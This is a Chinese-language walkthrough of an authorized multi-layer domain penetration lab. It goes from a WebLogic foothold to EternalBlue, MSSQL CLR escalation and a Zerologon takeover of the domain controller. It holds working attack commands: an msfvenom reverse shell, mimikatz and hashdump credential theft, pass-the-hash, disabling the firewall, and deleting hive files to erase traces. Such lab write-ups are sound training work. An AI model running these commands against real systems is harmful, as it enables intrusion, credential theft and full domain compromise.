前言
本次多层网络域渗透项目旨在模拟渗透测试人员在授权的情况下对目标进行渗透测试, 从外网打点到内网横向渗透, 最终获取整个内网权限的过程.
环境搭建
靶场下载地址:
代码语言:javascript复制https://pan.baidu.com/s/1DOaDrsDsB2aW0sHSO_-fZQ
提取码: vbi2
靶场网络拓扑图为:
各靶机信息:
代码语言:javascript复制域控: Windows Server 2008 IIS Exchange 2013 邮件服务
目录还原密码: redteam!@#45
主机名: owa
域管理员: administrator:Admin12345!
域内服务器Mssql: Windows Server 2008 SQL Server 2008 (被配置了非约束委派)
主机名: sqlserver-2008
本地管理员:Administrator:Admin12345
域账户: redteamsqlserver:Server12345 (被配置了约束委派)
Mssql: sa:sa
域内个人PC: Windows 7
主机名: work-7
本地管理员:john: admin!@#45
域账户: redteamsaul:admin!@#45
单机服务器: Windows server r2 weblogic
主机名: weblogic
本地管理员:Administrator:Admin12345
weblogic : weblogic: weblogic123(访问 http://ip:7001)
weblogic 安装目录: C:OracleMiddlewareOracle_Homeuser_projectsdomainsbase_domain(手动运行下 startWebLogic.cmd)
其他域用户:
域服务账户: redteamsqlserver:Server12345 (被配置了约束委派)
邮件用户: redteammail:admin!@#45
加域账户: redteamadduser:Add12345
redteamsaulgoodman:Saul12345 (被配置了非约束委派)
redteamgu:Gu12345
redteamapt404:Apt12345
开启Windows Server 2012 R2
后, 在C:OracleMiddlewareOracle_Homeuser_projectsdomainsbase_domain
目录下双击startWebLogic.cmd
启动weblogic
.
渗透测试
单机服务器
假定我们已经拿到了靶标IP
: 192.168.10.22
. 利用Nmap
对靶标进行简易的扫描: nmap.exe -p1-65535 -Pn -A -T4 192.168.10.22
.
根据扫描结果发现7001
端口存在Oracle WebLogic
, 扫一梭子看看有没有漏洞, 从扫描结果来看还是存在挺多漏洞的.
直接上工具开打, 发现是administrator
的权限, 直接注入内存马, 冰蝎上线.
域内个人 PC
当拿下DMZ
区域的机器后, 除了权限维持和权限提升, 对于横向渗透通常分一下两个方面:
- 判断机器是否为多网卡机器, 然后扫描其他网段, 来发现更多存在漏洞的机器;
- 尽量收集机器上面的敏感信息, 比如敏感内部文件、账号密码本等, 帮助后面快速突破防线.
由于我们拿下的机器已经是administrator
权限, 直接进行信息搜集即可, tasklist
查看进程发现不存在杀软.
利用msfvenom
生成一个payload
: msfvenom.bat -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.10.9 LPORT=7777 -f exe > shell.exe
, 上传到靶机后, MSF
上线.
抓一下密码:
- 抓取自动登录的密码:
run windows/gather/credentials/windows_autologin
. - 导出密码哈希:
hashdump
.
拿到Administrator
的密码Admin12345
, 同时查询域信息: net view /domain
, 发现该机器并不在域内.
查询网络信息发现是双网卡, 利用fscan
扫描一下网段: fscan64.exe -h 10.10.20.0/24 > result.txt
, 发现网段内存在新的机器10.10.20.7
, 445
端口是开放的, 疑似存在MS17-010
漏洞.
添加路由, 扫描一下MS17-010
.
run get_local_subnets
run autoroute -s 10.10.20.0/24
run autoroute -p
search ms17-010
use 3
set rhost 10.10.20.7
run
发现的确存在MS17-010
, 利用exploit/windows/smb/ms17_010_eternalblue
进行攻击, 成功拿下该机器.
search ms17-010
use 0
set payload windows/x64/meterpreter/bind_tcp
set lport 11111
run
先查看一下权限, 发现直接就是system
权限, 也不需要进行提权的操作, 用mimikatz
抓一下密码, 发现该主机在域环境redteam.red
内, 并且拿到一组域账户的用户名和密码: saul:admin!@#45
.
load mimikatz
creds_all
用其他的方式继续抓一下密码, 成功拿到一组本地用户的用户名及密码: john:admin!@#45
.
hashdump
run windows/gather/smart_hashdump
run windows/gather/credentials/windows_autologin
域内服务器 Mssql
查看网段发现新网段, 继续添加路由.
上传一个fscan
, 扫描一下网段, 发现存在一台Windows Server 2008 R2
机器: 10.10.10.18
, 开放了1433
端口, 并且获得一组弱口令: sa:sa
.
MSF
配合Proxifier
开启socks
代理隧道, 利用SharpSQLTools
执行命令, 发现是10.10.10.18
机器是一个低权限的账号network service
.
参考MSSQL 利用 CLR 技术执行系统命令中的方法, 进行clr
提权, 成功提权到system
权限.
SharpSQLTools.exe 10.10.10.18 sa sa master install_clr
SharpSQLTools.exe 10.10.10.18 sa sa master enable_clr
SharpSQLTools.exe 10.10.10.18 sa sa master clr_efspotato whoami
利用exploit/windows/mssql/mssql_clr_payload
模块, 先用低权限账号上线, 接着上传木马, 利用SharpSQLTools
运行得到高权限.
接着使用mimikatz
抓取一下凭证, 得到两个用户的用户名和密码: Administrator:Admin12345
, sqlserver:Server12345
.
域控
由于不存在新的网段了, 在前面fscan
的扫描结果中还存在一个10.10.10.8
的地址, 不出意外该地址的机器就是域控了, 下面看看该如何拿下该台机子.
先确定一下该台机器是否是域控制器, 常见的方法有:
- 扫描内网中同时开放
389
和53
端口的机器. - 查看域控制器组:
net group "domain controllers" /domain
.
- 查看域控的机器名:
nslookup redteam.red; nslookup -type=SRV _ldap._tcp
.
- 查看域控当前时间:
net time /domain
.
确定该台机器是域控制器后, 根据其版本信息尝试用Netlogon
特权提升漏洞CVE-2020-1472
进行攻击, 详细内容见内网渗透-账号提权.
在验证存在Netlogon
特权提升漏洞后, 先重置一下域账号, 置空密码: python cve-2020-1472-exploit.py OWA 10.10.10.8
.
接着读取域控中的hash
: python secretsdump.py redteam.red/OWA$@10.10.10.8 -just-dc -no-pass
.
获取到的hash
后利用impacket
中的wmiexec.py
脚本进行登录, 成功拿到shell
: python wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:028b70314013e1372797cff51298880e redteam.red/administrator@10.10.10.8 -codec gbk
.
此时, 成功获取到了域控的shell
. 但是这个shell
并不是稳定的, 真实环境中我们还需要进一步进行权限维持的操作, 在得到hash
之后, 先利用前面获取到的shell
关闭一下防火墙: netsh advfirewall set allprofiles state off
, 接着便可以使用PSEXEC
模块上线MSF
并进行后续的操作了.
use exploit/windows/smb/psexec
set SMBUser administrator
set SMBPass aad3b435b51404eeaad3b435b51404ee:028b70314013e1372797cff51298880e
set payload windows/x64/meterpreter/bind_tcp
set rhost 10.10.10.8
set lport 4446
run
需要注意的是, 在做完权限维持后要及时恢复域控的密码, 不然域控会脱域.
我们先导出SAM
中原来的hash
, 利用MSF
的shell
下载下来并及时删除, 清理痕迹.
reg save HKLMSYSTEM system.save
reg save HKLMSAM sam.save
reg save HKLMSECURITY security.save
download C:\sam.save C:\Users\95235\Desktop\sam.save
download C:\security.save C:\Users\95235\Desktop\security.save
download C:\system.save C:\Users\95235\Desktop\system.save
del /f sam.save
del /f system.save
del /f security.save
接着利用脚本secretsdump.py
查看一下域控的hash
: python secretsdump.py -sam sam.save -system system.save -security security.save LOCAL
.
利用脚本reinstall_original_pw.py
恢复hash
: python reinstall_original_pw.py OWA 10.10.10.8 f4044edaafbdca41a6e53d234c14ab9a
.
最后利用空密码再次进行连接来验证是否恢复成功: python secretsdump.py redteam.red/OWA$@10.10.10.8 -just-dc -no-pass
.
效果图
总结
由于打过几次线下的CFS
靶场, 使用CS
感觉不佳, 本次打靶过程中就只使用了MSF
, 正好锻炼一下自己对于MSF
各功能的使用, 打靶过程中的收获还是挺大的. 靶机附件里面也给出了一个靶场存在漏洞的说明, 感兴趣的师傅们也可以根据漏洞说明尝试一下其他的打法.
对于靶机要说明的就是网盘里面分享的是一个完整的压缩包然后从中间直接拆分出来的两个数据块, 使用的时候合并起来就行. 另一个sqlserver-2008
那台机器的Sql Server 2008
好像过期了, 我是用命令行直接开启的: net start mssqlserver
.